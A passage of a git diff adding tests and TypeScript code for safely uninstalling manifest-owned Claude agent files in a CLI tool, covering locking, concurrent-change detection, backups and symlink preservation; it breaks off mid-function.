expect( + readFileSync( + join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z', + 'claude', + 'agents', + 'scout.md', + ), + ), + ).toEqual(Buffer.from('# shipped scout\n')); + }); + + test('a replacement at the captured-to-keep boundary stays live while prior edits are kept', () => { + const reviewer = managedAgent('reviewer.md', '# shipped reviewer\n'); + writeFileSync(reviewer, '# initial local edit\n'); + const newestBytes = Buffer.from('# newest edit at barrier\n'); + + const result = removeAgentSyncAssets({ + ...targets(), + beforeAgentFileMutation: (event) => { + if (event.operation === 'keep' && event.path === reviewer) writeFileSync(reviewer, newestBytes); + }, + }); + + expect(result.kept).toHaveLength(1); + expect(readFileSync(result.kept[0] as string, 'utf8')).toBe('# initial local edit\n'); + expect(readFileSync(reviewer)).toEqual(newestBytes); + expect(readAgentFilesManifest(join(claudeDir, 'agents'))).toBeNull(); + expect(result.advisories?.some((line) => line.includes('concurrently appeared'))).toBe(true); + }); + + test('manifest CAS failure restores exact staged bytes and never claims removal', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const agentsDir = join(claudeDir, 'agents'); + const manifestPath = join(agentsDir, '.genie-sync.json'); + const scoutBytes = readFileSync(scout); + let changedDigest = ''; + + const result = removeAgentSyncAssets({ + ...targets(), + beforeAgentFileMutation: (event) => { + if (event.operation !== 'remove' || event.path !== scout) return; + const manifest = readAgentFilesManifest(agentsDir); + if (manifest === null) throw new Error('fixture manifest missing at CAS barrier'); + changedDigest = 'concurrently-reowned-digest'; + manifest.files['scout.md'] = { ...manifest.files['scout.md']!, digest: changedDigest }; + writeFileSync(manifestPath, `${JSON.stringify(manifest, null, 2)}\n`); + }, + }); + + expect(result.removed).not.toContain(scout); + expect(result.kept).toEqual([]); + expect(readFileSync(scout)).toEqual(scoutBytes); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']?.digest).toBe(changedDigest); + expect(result.advisories?.some((line) => line.includes('manifest ownership changed'))).toBe(true); + }); + + test('a manifest-owned directory at an agent filename is preserved at an exclusive kept path', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + rmSync(scout); + mkdirSync(scout); + writeFileSync(join(scout, 'precious.txt'), 'directory bytes\n'); + + const result = removeAgentSyncAssets(targets()); + + expect(result.kept).toEqual([`${scout}.genie-kept`]); + expect(readFileSync(join(`${scout}.genie-kept`, 'precious.txt'), 'utf8')).toBe('directory bytes\n'); + expect(existsSync(scout)).toBe(false); + }); + + test('a manifest-owned symlink is kept as a symlink without following or changing its victim', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const victim = join(tmp, 'agent-symlink-victim'); + const victimBytes = Buffer.from('victim stays untouched\n'); + writeFileSync(victim, victimBytes); + rmSync(scout); + symlinkSync(victim, scout); + + const result = removeAgentSyncAssets(targets()); + const keptPath = `${scout}.genie-kept`; + + expect(result.kept).toEqual([keptPath]); + expect(lstatSync(keptPath).isSymbolicLink()).toBe(true); + expect(readlinkSync(keptPath)).toBe(victim); + expect(readFileSync(victim)).toEqual(victimBytes); + }); + + test('the shared sync lock makes uninstall fail closed without touching live or manifest bytes', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const manifestPath = join(claudeDir, 'agents', '.genie-sync.json'); + const manifestBytes = readFileSync(manifestPath); + writeFileSync(join(genieHome, '.agent-sync.lock'), 'holder\n'); + + const result = removeAgentSyncAssets(targets()); + + expect(result.skipped).toContain('holds the lock'); + expect(readFileSync(scout, 'utf8')).toBe('# shipped scout\n'); + expect(readFileSync(manifestPath)).toEqual(manifestBytes); + }); + + test('fixed staging debris remains byte-identical while two uninstall runs converge', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const agentsDir = join(claudeDir, 'agents'); + const manifestDebris = join(agentsDir, '.genie-sync.json.genie-sync.staging'); + const uninstallDebris = join(agentsDir, '.genie-uninstall.staging'); + const manifestDebrisBytes = Buffer.from('manifest stage debris\n'); + const uninstallDebrisBytes = Buffer.from('uninstall stage debris\n'); + writeFileSync(manifestDebris, manifestDebrisBytes); + writeFileSync(uninstallDebris, uninstallDebrisBytes); + + const first = removeAgentSyncAssets(targets()); + const second = removeAgentSyncAssets(targets()); + + expect(first.removed).toEqual([scout]); + expect(second).toEqual({ removed: [], kept: [], identityMismatch: [], failures: [] }); + expect(readFileSync(manifestDebris)).toEqual(manifestDebrisBytes); + expect(readFileSync(uninstallDebris)).toEqual(uninstallDebrisBytes); + }); + + test('modified-agent kept allocation never overwrites prior base or timestamp artifacts', () => { + const reviewer = managedAgent('reviewer.md', '# shipped reviewer\n'); + const editedBytes = Buffer.from('# newest local reviewer edits\n'); + writeFileSync(reviewer, editedBytes); + const baseKept = `${reviewer}.genie-kept`; + const timestampKept = `${baseKept}-${fixedNow().getTime()}`; + const baseBytes = Buffer.from('# older base kept artifact\n'); + const timestampBytes = Buffer.from('# older timestamp kept artifact\n'); + writeFileSync(baseKept, baseBytes); + writeFileSync(timestampKept, timestampBytes); + + const result = removeAgentSyncAssets(targets()); + const newestKept = `${timestampKept}-1`; + + expect(result.kept).toEqual([newestKept]); + expect(readFileSync(baseKept)).toEqual(baseBytes); + expect(readFileSync(timestampKept)).toEqual(timestampBytes); + expect(readFileSync(newestKept)).toEqual(editedBytes); + expect(existsSync(reviewer)).toBe(false); + }); + + test('missing manifest-owned files are pruned and a second uninstall is a strict no-op', () => { + const live = managedAgent('live.md', '# live managed agent\n'); + const parent = join(claudeDir, 'agents'); + const manifest = readAgentFilesManifest(parent); + if (manifest === null) throw new Error('fixture manifest missing'); + manifest.files['missing.md'] = { + digest: 'deadbeef', + version: '1', + syncedAt: '2026-07-11T10:00:00.000Z', + }; + writeFileSync(join(parent, '.genie-sync.json'), `${JSON.stringify(manifest, null, 2)}\n`, 'utf8'); + + const first = removeAgentSyncAssets(targets()); + + expect(first.removed).toEqual([live]); + expect(first.kept).toEqual([]); + expect(existsSync(live)).toBe(false); + expect(readAgentFilesManifest(parent)).toBeNull(); + expect(removeAgentSyncAssets(targets())).toEqual({ removed: [], kept: [], identityMismatch: [], failures: [] }); + }); + + test('the fully injected uninstall flow is a strict second-run no-op with backups-only GENIE_HOME', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const own = join(claudeDir, 'agents', 'my-own-agent.md'); + const ownBytes = Buffer.from([0x00, 0x23, 0x20, 0x6d, 0x69, 0x6e, 0x65, 0xff]); + writeFileSync(own, ownBytes); + const installState = join(genieHome, 'plugins', 'genie', 'payload.txt'); + mkdirSync(join(genieHome, 'plugins', 'genie'), { recursive: true }); + writeFileSync(installState, 'remove me\n', 'utf8'); + + let runtimeRemovalCalls = 0; + const dependencies = { + agentSyncTargets: targets(), + orchestrationRulesPath: join(tmp, 'no-legacy-rules'), + removeRuntimeIntegrations: () => { + runtimeRemovalCalls += 1; + }, + }; + + performUninstall(false, [], genieHome, true, true, false, dependencies); + + const backup = join( + genieHome, + 'state-backups', + 'agent-sync-uninstall-2026-07-11T12:00:00.000Z', + 'claude', + 'agents', + 'scout.md', + ); + expect(existsSync(scout)).toBe(false); + expect(readFileSync(backup, 'utf8')).toBe('# shipped scout\n'); + expect(readFileSync(own)).toEqual(ownBytes); + expect(existsSync(installState)).toBe(false); + expect(hasRemovableGenieInstallState(genieHome)).toBe(false); + expect(runtimeRemovalCalls).toBe(1); + + const backupBytes = readFileSync(backup); + performUninstall(false, [], genieHome, true, true, false, dependencies); + + expect(runtimeRemovalCalls).toBe(1); + expect(readFileSync(backup)).toEqual(backupBytes); + expect(readFileSync(own)).toEqual(ownBytes); + }); + + test('INV1: uninstall preserves captured bytes mutated after validation instead of discarding them', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const agentsDir = join(claudeDir, 'agents'); + const mutatedBytes = Buffer.from('# mutated after capture\n'); + + const result = removeAgentSyncAssets({ + ...targets(), + beforeAgentFileMutation: (event) => { + if (event.operation !== 'remove' || event.path !== scout) return; + // The live file is already quarantined at this barrier; mutate the captured inode. + const quarantine = readdirSync(agentsDir).find((name) => name.startsWith('.scout.md.agent-retire-')); + if (quarantine === undefined) throw new Error('captured quarantine dir not found'); + writeFileSync(join(agentsDir, quarantine, 'object'), mutatedBytes); + }, + }); + + expect(result.removed).toEqual([scout]); + expect(readAgentFilesManifest(agentsDir)).toBeNull(); + // the mutated bytes survive visibly instead of being unlinked into nothing + expect(result.kept).toEqual([`${scout}.genie-kept`]); + expect(readFileSync(`${scout}.genie-kept`)).toEqual(mutatedBytes); + expect(result.advisories?.some((line) => line.includes('changed after validation'))).toBe(true); + // the backup still holds exactly the validated bytes + expect(readFileSync(uninstallBackupCollisionPath(), 'utf8')).toBe('# shipped scout\n'); + }); + + test('INV4: a replacement manifest installed during relinquish is detected — never a false success', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const agentsDir = join(claudeDir, 'agents'); + const manifestPath = join(agentsDir, '.genie-sync.json'); + const replacement = { + managedBy: MANAGED_BY, + files: { 'scout.md': { digest: 'replacement-owner', version: '2', syncedAt: 'later' } }, + }; + const replacementBytes = Buffer.from(`${JSON.stringify(replacement, null, 2)}\n`); + + const result = removeAgentSyncAssets({ + ...targets(), + // fires inside the removal commit, after the base manifest is captured away + beforeAgentManifestCommit: () => { + writeFileSync(manifestPath, replacementBytes); + }, + }); + + expect(result.removed).toEqual([]); + expect(result.kept).toEqual([]); + expect(readFileSync(scout, 'utf8')).toBe('# shipped scout\n'); // rollback restored the live agent + expect(readFileSync(manifestPath)).toEqual(replacementBytes); // the replacement stays live, unclobbered + expect(result.advisories?.some((line) => line.includes('replacement manifest appeared'))).toBe(true); + expect(result.advisories?.some((line) => line.includes('preserved previous manifest'))).toBe(true); + }); + + test('INV5: one lock spans asset removal and canonical-source deletion in the full uninstall', () => { + const scout = managedAgent('scout.md', '# shipped scout\n'); + const sourcePayload = join(genieHome, 'plugins', 'genie', 'agents', 'scout.md'); + mkdirSync(dirname(sourcePayload), { recursive: true }); + writeFileSync(sourcePayload, '# canonical source\n', 'utf8'); + + let probedDuringAssets = false; + let probedBetween = false; + const dependencies = { + agentSyncTargets: { + ...targets(), + beforeAgentFileMutation: () => { + probedDuringAssets = true; + expect(acquireAgentSyncLock(genieHome)).toBeNull(); // lock held during asset removal + }, + }, + orchestrationRulesPath: join(tmp, 'no-legacy-rules'), + removeRuntimeIntegrations: () => { + probedBetween = true; + expect(acquireAgentSyncLock(genieHome)).toBeNull(); // still held in the former gap + expect(existsSync(sourcePayload)).toBe(true); // canonical source not yet deleted + }, + }; + + performUninstall(false, [], genieHome, true, true, false, dependencies); + + expect(probedDuringAssets).toBe(true); + expect(probedBetween).toBe(true); + expect(existsSync(sourcePayload)).toBe(false); // source deleted under the same lock + expect(existsSync(scout)).toBe(false); + const released = acquireAgentSyncLock(genieHome); + expect(released).not.toBeNull(); // lock released only after everything + released?.release(); + expect(hasRemovableGenieInstallState(genieHome)).toBe(false); + }); + + test('INV6: an exception after staging restores the live agent — no hidden bytes, ownership intact', () => { + const reviewer = managedAgent('reviewer.md', '# shipped reviewer\n'); + const editedBytes = Buffer.from('# precious local edits\n'); + writeFileSync(reviewer, editedBytes); + const agentsDir = join(claudeDir, 'agents'); + + const first = removeAgentSyncAssets({ + ...targets(), + beforeAgentFileMutation: (event) => { + if (event.operation === 'keep') throw new Error('injected post-staging fault'); + }, + }); + + expect(first.kept).toEqual([]); + expect(first.removed).toEqual([]); + expect(readFileSync(reviewer)).toEqual(editedBytes); // live path restored, byte-identical + expect(readAgentFilesManifest(agentsDir)?.files['reviewer.md']).toBeDefined(); // ownership unchanged + expect(first.advisories?.some((line) => line.includes('injected post-staging fault'))).toBe(true); + // no hidden staging or quarantine debris is left holding the bytes + expect(readdirSync(agentsDir).sort()).toEqual(['.genie-sync.json', 'reviewer.md']); + + const second = removeAgentSyncAssets(targets()); // clean retry succeeds + expect(second.kept).toEqual([`${reviewer}.genie-kept`]); + expect(readFileSync(`${reviewer}.genie-kept`)).toEqual(editedBytes); + expect(readAgentFilesManifest(agentsDir)).toBeNull(); + }); }); describe('durable uninstall batch', () => { diff --git a/src/genie-commands/uninstall.ts b/src/genie-commands/uninstall.ts index 8dd55d7e5..e7b668d46 100644 --- a/src/genie-commands/uninstall.ts +++ b/src/genie-commands/uninstall.ts @@ -24,6 +24,7 @@ import { readlinkSync, renameSync, rmSync, + rmdirSync, unlinkSync, writeFileSync, } from 'node:fs'; @@ -32,17 +33,29 @@ import { basename, dirname, isAbsolute, join, relative, resolve, sep } from 'nod import { confirm } from '@inquirer/prompts'; import { z } from 'zod'; import { + AGENT_SYNC_LOCK_NAME, + type AgentFileMutationEvent, + type AgentManifestCommitEvent, + type AgentPathSnapshot, CODEX_FALLBACK_RETIREMENT_ROOT, + type FlatAgentOp, + type FlatAgentOutcome, + KEPT_SUFFIX, TARGET_NAME, + acquireAgentSyncLock, acquireLifecycleLease, + allocateExclusiveBackupRoot, + captureAgentPathSnapshot, codexLegacyCuratedDir, inspectManagedSkillTree, inspectManagedWorkflow, + readAgentFilesManifest, recoverManagedSkillTransactions, recoverManagedWorkflowTransactions, removeManagedSkillTree, removeManagedWorkflow, resolveAgentsSkillsDir, + runFlatAgentTransaction, } from '../lib/agent-sync.js'; import { hookScriptExists } from '../lib/claude-settings.js'; import { contractPath, getGenieDir } from '../lib/genie-config.js'; @@ -86,6 +99,15 @@ const absolutePathSchema = z const digestSchema = z.string().regex(/^[a-f0-9]{64}$/); const physicalModeSchema = z.number().int().min(0).max(0o7777); const codexRoleNameSchema = z.string().regex(/^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/); +const agentOwnedDigestSchema = z.string().min(1).max(256); + +const agentSnapshotIdentitySchema = z.discriminatedUnion('kind', [ + z.object({ kind: z.literal('absent') }).strict(), + z.object({ kind: z.literal('file'), digest: digestSchema, mode: physicalModeSchema }).strict(), + z.object({ kind: z.literal('directory'), digest: digestSchema, mode: physicalModeSchema }).strict(), + z.object({ kind: z.literal('symlink'), target: z.string().max(4096) }).strict(), + z.object({ kind: z.literal('other'), mode: physicalModeSchema }).strict(), +]); // Per-kind physical identity the classifier already computed at plan time. Every // removable managed asset carries the exact identity uninstall is authorized to @@ -102,9 +124,17 @@ const agentAssetIdentitySchema = z.discriminatedUnion('kind', [ }) .strict(), z.object({ kind: z.literal('link'), target: z.string().min(1).max(4096) }).strict(), + z + .object({ + kind: z.literal('agent'), + ownedDigest: agentOwnedDigestSchema, + snapshot: agentSnapshotIdentitySchema, + }) + .strict(), ]); export type AgentAssetIdentity = z.infer; +type AgentSnapshotIdentity = z.infer; // A removable asset records its identity; a kept (modified/corrupt) asset records // none because it holds user data now and is never a deletion candidate. @@ -546,12 +576,30 @@ function hasRuntimeIntegrationWork(scope: UninstallBatchScope): boolean { ); } +function flatAgentBatchMember(scope: UninstallBatchScope): string | null { + const agentPaths = scope.agentAssets + .filter((asset) => asset.disposition === 'remove' && asset.identity.kind === 'agent') + .map((asset) => asset.path); + if (agentPaths.length === 0) return null; + const roots = new Set(agentPaths.map((path) => dirname(path))); + if (roots.size !== 1) throw new Error('uninstall batch flat-agent actions span multiple manifest directories'); + return uninstallBatchMemberId( + 'asset', + `flat-agents:${agentPaths + .map((path) => resolve(path)) + .sort() + .join('\n')}`, + ); +} + function uninstallBatchMembers(scope: UninstallBatchScope, genieHome: string): Set { const members = new Set( scope.agentAssets - .filter((asset) => asset.disposition === 'remove') + .filter((asset) => asset.disposition === 'remove' && asset.identity.kind !== 'agent') .map((asset) => uninstallBatchMemberId('asset', asset.path)), ); + const agentMember = flatAgentBatchMember(scope); + if (agentMember !== null) members.add(agentMember); if (scope.ownedRulesPath !== null) members.add(uninstallBatchMemberId('rules', scope.ownedRulesPath)); if (hasRuntimeIntegrationWork(scope)) members.add(uninstallBatchRuntimeMemberId(scope)); if (scope.genieHomePresent) members.add(uninstallBatchMemberId('home', resolve(genieHome))); @@ -657,8 +705,17 @@ export interface AgentSyncRemovalTargets { agentsSkillsDir?: string; hermesHome?: string; genieHome?: string; + /** Injectable clock for deterministic state-backup and kept-aside paths in tests. */ + now?: () => Date; + /** Deterministic race barrier after classification/capture and before a flat-agent mutation. */ + beforeAgentFileMutation?: (event: AgentSyncRemovalMutationEvent) => void; + /** Deterministic barrier inside the single manifest commit of the flat-agent transaction. */ + beforeAgentManifestCommit?: (event: AgentManifestCommitEvent) => void; } +/** Uninstall shares the transaction core's mutation event verbatim. */ +export type AgentSyncRemovalMutationEvent = AgentFileMutationEvent; + function directoryHasMatchingEntry(path: string, matches: (name: string) => boolean): boolean { try { return readdirSync(path).some(matches); @@ -777,7 +834,7 @@ const LEGACY_KEPT_MARKER = '.genie-kept'; interface AgentSyncAsset { agent: 'claude' | 'codex' | 'hermes'; - kind: 'skill' | 'workflow' | 'link'; + kind: 'skill' | 'agent' | 'workflow' | 'link'; path: string; /** True when content diverged or ownership metadata is corrupt; uninstall preserves it. */ modified?: boolean; @@ -789,6 +846,12 @@ interface AgentSyncAsset { * refuse a replacement occupying the same path (F43). */ identity?: AgentAssetIdentity; + /** Flat Claude agents only: the shared manifest entry that owns this path. */ + manifestEntry?: { dir: string; name: string; digest: string }; + /** Flat Claude agents only: ownership exists but the live file is already absent. */ + missing?: boolean; + /** Flat Claude agents only: exact snapshot captured at classification — the removal CAS target. */ + agentSnapshot?: AgentPathSnapshot; } function collectManagedSkillDirs( @@ -840,6 +903,62 @@ function collectManagedSkillDirs( } } +function agentSnapshotIdentity(snapshot: AgentPathSnapshot): AgentSnapshotIdentity { + if (snapshot.kind === 'absent') return { kind: 'absent' }; + if (snapshot.kind === 'file') { + return { kind: 'file', digest: snapshot.digest, mode: snapshot.stat.mode & 0o7777 }; + } + if (snapshot.kind === 'directory') { + return { kind: 'directory', digest: snapshot.digest, mode: snapshot.stat.mode & 0o7777 }; + } + if (snapshot.kind === 'symlink') return { kind: 'symlink', target: snapshot.target }; + return { kind: 'other', mode: snapshot.stat.mode & 0o7777 }; +} + +function agentIdentityMatches(expected: AgentAssetIdentity, asset: AgentSyncAsset): boolean { + if (expected.kind !== 'agent' || asset.identity?.kind !== 'agent') return false; + return ( + expected.ownedDigest === asset.identity.ownedDigest && + JSON.stringify(expected.snapshot) === JSON.stringify(asset.identity.snapshot) + ); +} + +/** Collect only flat Claude-agent names explicitly owned by the shared per-file manifest. */ +function collectManagedAgentFiles(parent: string, out: AgentSyncAsset[], restrictToPaths?: ReadonlySet): void { + const manifest = readAgentFilesManifest(parent); + if (manifest === null) return; + for (const [name, entry] of Object.entries(manifest.files).sort(([left], [right]) => left.localeCompare(right))) { + const path = join(parent, name); + if (restrictToPaths !== undefined && !restrictToPaths.has(resolve(path))) continue; + let snapshot: AgentPathSnapshot | undefined; + try { + snapshot = captureAgentPathSnapshot(path); + } catch { + // Uninspectable manifest-owned data is never a deletion/action candidate. + out.push({ + agent: 'claude', + kind: 'agent', + path, + modified: true, + manifestEntry: { dir: parent, name, digest: entry.digest }, + }); + continue; + } + const missing = snapshot.kind === 'absent'; + const clean = snapshot.kind === 'file' && snapshot.digest === entry.digest; + out.push({ + agent: 'claude', + kind: 'agent', + path, + modified: !missing && !clean, + missing, + agentSnapshot: snapshot, + manifestEntry: { dir: parent, name, digest: entry.digest }, + identity: { kind: 'agent', ownedDigest: entry.digest, snapshot: agentSnapshotIdentity(snapshot) }, + }); + } +} + function collectManagedCouncil(claudeDir: string, out: AgentSyncAsset[], restrictToPaths?: ReadonlySet): void { if (restrictToPaths !== undefined && !restrictToPaths.has(resolve(join(claudeDir, 'workflows', TARGET_NAME)))) return; const workflow = inspectManagedWorkflow(join(claudeDir, 'workflows')); @@ -945,6 +1064,7 @@ export function collectAgentSyncAssets( const genieHome = targets.genieHome ?? resolveGenieHome(); const out: AgentSyncAsset[] = []; collectManagedSkillDirs(join(claudeDir, 'skills'), 'claude', out, restrictToPaths); + collectManagedAgentFiles(join(claudeDir, 'agents'), out, restrictToPaths); // Live codex tier + the retired `.curated` lane (machines that never synced // post-migration still carry managed dirs there). Manifest-gated either way — // unmanaged siblings in the shared ~/.agents/skills tier are invisible. @@ -964,6 +1084,10 @@ export interface AgentSyncRemovalResult { identityMismatch: string[]; /** Per-asset failures. Callers keep Genie installed so cleanup can be retried. */ failures: Array<{ path: string; detail: string }>; + /** Non-fatal transaction/concurrency details for paths left safe and visible. */ + advisories?: string[]; + /** Set when the shared sync/uninstall lock was held by another process. */ + skipped?: string; } export interface AgentSyncRemovalOptions { @@ -999,6 +1123,43 @@ function recoverTransactionsBeforeRemoval(targets: AgentSyncRemovalTargets): { p export function removeAgentSyncAssets( targets: AgentSyncRemovalTargets = {}, options: AgentSyncRemovalOptions = {}, +): AgentSyncRemovalResult { + const genieHome = targets.genieHome ?? resolveGenieHome(); + let lock: { release: () => void } | null; + try { + lock = acquireAgentSyncLock(genieHome); + } catch (error) { + const skipped = `agent-sync lock acquisition failed closed; uninstall left synced assets untouched: ${errorMessage(error)}`; + return { + removed: [], + kept: [], + identityMismatch: [], + failures: [{ path: genieHome, detail: skipped }], + advisories: [skipped], + skipped, + }; + } + if (lock === null) { + const skipped = 'another agent-sync mutation holds the lock; uninstall left synced assets untouched'; + return { + removed: [], + kept: [], + identityMismatch: [], + failures: [{ path: genieHome, detail: skipped }], + advisories: [skipped], + skipped, + }; + } + try { + return removeAgentSyncAssetsLocked(targets, options); + } finally { + lock.release(); + } +} + +function removeAgentSyncAssetsLocked( + targets: AgentSyncRemovalTargets = {}, + options: AgentSyncRemovalOptions = {}, ): AgentSyncRemovalResult { const result: AgentSyncRemovalResult = { removed: [], kept: [], identityMismatch: [], failures: [] }; const recoveryFailure = recoverTransactionsBeforeRemoval(targets); @@ -1060,6 +1221,148 @@ function removeManagedLink(linkPath: string, expectedTarget: string | undefined, result.removed.push(linkPath); } +function pushAgentAdvisory(result: AgentSyncRemovalResult, advisory: string): void { + if (result.advisories === undefined) result.advisories = []; + result.advisories.push(advisory); +} + +function errorMessage(error: unknown): string { + return error instanceof Error ? error.message : String(error); +} + +/** Lazily allocate one exclusive backup generation and persist the exact validated bytes. */ +function createAgentFileBackup(targets: AgentSyncRemovalTargets): (name: string, bytes: Buffer) => string { + const genieHome = targets.genieHome ?? resolveGenieHome(); + const stamp = (targets.now ?? (() => new Date()))().toISOString(); + let backupRoot: string | null = null; + return (name, bytes) => { + if (backupRoot === null) backupRoot = allocateExclusiveBackupRoot(genieHome, `agent-sync-uninstall-${stamp}`); + const destination = join(backupRoot, 'claude', 'agents', name); + mkdirSync(dirname(destination), { recursive: true }); + writeFileSync(destination, bytes, { flag: 'wx' }); + return destination; + }; +} + +function planAgentRemoval( + asset: AgentSyncAsset, + backupAgentBytes: (name: string, bytes: Buffer) => string, + result: AgentSyncRemovalResult, +): FlatAgentOp | null { + const entry = asset.manifestEntry; + if (entry === undefined) return null; + if (asset.missing) return { kind: 'disown', name: entry.name, ownedDigest: entry.digest, prune: true }; + const snapshot = asset.agentSnapshot; + if (snapshot === undefined || snapshot.kind === 'absent') { + result.failures.push({ path: asset.path, detail: 'could not inspect the manifest-owned agent during removal' }); + return null; + } + if (asset.modified !== true && snapshot.kind === 'file') { + let backupPath: string; + try { + backupPath = backupAgentBytes(entry.name, snapshot.bytes); + } catch (error) { + result.failures.push({ path: asset.path, detail: `durable backup failed: ${errorMessage(error)}` }); + return null; + } + return { + kind: 'retire', + name: entry.name, + expected: snapshot, + ownedDigest: entry.digest, + disposal: 'discard', + operation: 'remove', + backupPath, + }; + } + return { + kind: 'retire', + name: entry.name, + expected: snapshot, + ownedDigest: entry.digest, + disposal: 'keep-aside', + operation: 'keep', + }; +} + +function reportAgentRemovalOutcome( + outcome: FlatAgentOutcome, + committed: boolean, + dir: string, + result: AgentSyncRemovalResult, +): void { + const operation = outcome.op; + const path = join(dir, operation.name); + if (outcome.status === 'failed' || outcome.status === 'stale') { + const detail = outcome.reason ?? 'flat-agent transaction did not settle this path'; + result.failures.push({ path, detail }); + pushAgentAdvisory(result, `kept ${path}: ${detail}`); + return; + } + if (!committed) return; + if (operation.kind === 'disown') return; + if (operation.kind === 'publish') return; + if (outcome.status === 'applied') { + if (outcome.keptPath !== undefined) result.kept.push(outcome.keptPath); + if (operation.disposal === 'discard') result.removed.push(path); + if (operation.disposal === 'keep-aside' && outcome.keptPath === undefined) { + result.failures.push({ path, detail: 'modified agent was disowned without a visible kept-aside path' }); + } + return; + } + if (outcome.conflict === 'changed-before-capture') { + pushAgentAdvisory(result, `left concurrently changed agent ${path} live and unowned`); + return; + } + if (outcome.keptPath !== undefined) { + result.kept.push(outcome.keptPath); + pushAgentAdvisory( + result, + `left concurrently appeared agent ${path} live and unowned; preserved prior bytes at ${outcome.keptPath}`, + ); + return; + } + pushAgentAdvisory(result, `left concurrently appeared agent ${path} live and unowned`); +} + +/** Execute all selected flat-agent actions in one shared manifest transaction. */ +function removeManagedAgentAssets( + assets: AgentSyncAsset[], + targets: AgentSyncRemovalTargets, + result: AgentSyncRemovalResult, +): void { + const dir = assets[0]?.manifestEntry?.dir; + if (dir === undefined) return; + const backupAgentBytes = createAgentFileBackup(targets); + const operations: FlatAgentOp[] = []; + for (const asset of assets) { + const operation = planAgentRemoval(asset, backupAgentBytes, result); + if (operation !== null) operations.push(operation); + } + if (operations.length === 0) return; + try { + const transaction = runFlatAgentTransaction(dir, operations, { + now: targets.now ?? (() => new Date()), + beforeFileMutation: targets.beforeAgentFileMutation, + beforeManifestCommit: targets.beforeAgentManifestCommit, + }); + for (const advisory of transaction.advisories) pushAgentAdvisory(result, advisory); + for (const outcome of transaction.outcomes) { + reportAgentRemovalOutcome(outcome, transaction.committed, dir, result); + } + if (!transaction.committed && !transaction.outcomes.some((outcome) => outcome.status === 'failed')) { + result.failures.push({ + path: dir, + detail: transaction.advisories.join('; ') || 'flat-agent manifest transaction did not commit', + }); + } + } catch (error) { + const detail = `flat-agent removal transaction failed: ${errorMessage(error)}`; + result.failures.push({ path: dir, detail }); + pushAgentAdvisory(result, detail); + } +} + function removeCollectedAgentAssets( assets: AgentSyncAsset[], targets: AgentSyncRemovalTargets, @@ -1067,6 +1370,7 @@ function removeCollectedAgentAssets( plannedByPath: Map | null, result: AgentSyncRemovalResult, ): void { + const agentAssets: AgentSyncAsset[] = []; for (const asset of assets) { const expectedIdentity = plannedByPath?.get(resolve(asset.path)); // Defense in depth: a recorded identity whose kind does not match the object @@ -1077,6 +1381,15 @@ function removeCollectedAgentAssets( result.identityMismatch.push(asset.path); continue; } + if (asset.kind === 'agent') { + if (expectedIdentity !== undefined && !agentIdentityMatches(expectedIdentity, asset)) { + result.kept.push(asset.path); + result.identityMismatch.push(asset.path); + } else { + agentAssets.push(asset); + } + continue; + } try { if (asset.kind === 'workflow' && asset.metadataPath) { const disposition = removeManagedWorkflow(join(targets.claudeDir ?? resolveClaudeDir(), 'workflows'), { @@ -1099,6 +1412,7 @@ function removeCollectedAgentAssets( result.failures.push({ path: asset.path, detail: error instanceof Error ? error.message : String(error) }); } } + removeManagedAgentAssets(agentAssets, targets, result); } export interface UninstallFailure { @@ -1385,7 +1699,7 @@ export function inspectUninstallPlan( const runtimeClients = (inspectors.inspectRuntimeClientAvailability ?? inspectRuntimeClientAvailability)(); return { genieDir, - hasGenieDir: (inspectors.hasGenieDir ?? existsSync)(genieDir), + hasGenieDir: (inspectors.hasGenieDir ?? hasRemovableGenieInstallState)(genieDir), hasUnprovenHookScript: (inspectors.hookScriptExists ?? hookScriptExists)(), legacyReport, hasOwnedRules: legacyReport.rulesFile.status === 'v4-markers', @@ -1404,6 +1718,114 @@ export function inspectUninstallPlan( }; } +interface PlannedRemovalAsset { + path: string; + identity: AgentAssetIdentity; +} + +interface PlannedFlatAgent extends PlannedRemovalAsset { + identity: Extract; +} + +function recordRemovalFailures(removal: AgentSyncRemovalResult, label: string, result: UninstallResult): void { + for (const failure of removal.failures) { + result.failures.push({ step: `${label} ${contractPath(failure.path)}`, detail: failure.detail }); + } +} + +function removeOneNonAgentAsset( + asset: PlannedRemovalAsset, + result: UninstallResult, + progress: UninstallBatchProgressController, +): void { + const member = uninstallBatchMemberId('asset', asset.path); + if (progress.isCompleted(member) || progress.isPreserved(member)) return; + progress.begin(member); + const removal = removeAgentSyncAssetsLocked({}, { plannedAssets: [{ path: asset.path, identity: asset.identity }] }); + if (removal.failures.length > 0) { + if (removal.removed.length === 0) progress.abort(member); + recordRemovalFailures(removal, 'Removing synced asset', result); + return; + } + if (removal.kept.length === 0) { + progress.complete(member); + if (removal.removed.length > 0) { + console.log(` \x1b[32m+\x1b[0m Removed managed asset: ${contractPath(asset.path)}`); + } + return; + } + const detail = + removal.identityMismatch.length > 0 + ? 'recorded removable asset was replaced by a different managed object after the uninstall batch; preserved it byte-identical' + : 'recorded removable asset was modified after the uninstall batch; preserved it byte-identical'; + console.log(` \x1b[33m!\x1b[0m Preserved managed asset byte-identical: ${contractPath(asset.path)}`); + recordPreservation(result, { step: `Preserving synced asset ${contractPath(asset.path)}`, detail }); + progress.preserve(member); +} + +function appendRemovalAdvisories(removal: AgentSyncRemovalResult, result: UninstallResult): void { + if (removal.advisories === undefined || removal.advisories.length === 0) return; + if (result.notes === undefined) result.notes = []; + result.notes.push(...removal.advisories); +} + +function settleFlatAgentProgress( + member: string, + removal: AgentSyncRemovalResult, + result: UninstallResult, + progress: UninstallBatchProgressController, +): void { + if (removal.identityMismatch.length === 0) { + progress.complete(member); + return; + } + for (const path of removal.identityMismatch) { + recordPreservation(result, { + step: `Preserving flat agent ${contractPath(path)}`, + detail: 'recorded flat-agent identity changed after the uninstall batch; preserved it byte-identical', + }); + } + progress.preserve(member); +} + +function reportFlatAgentRemoval(removal: AgentSyncRemovalResult): void { + for (const path of removal.removed) { + console.log(` 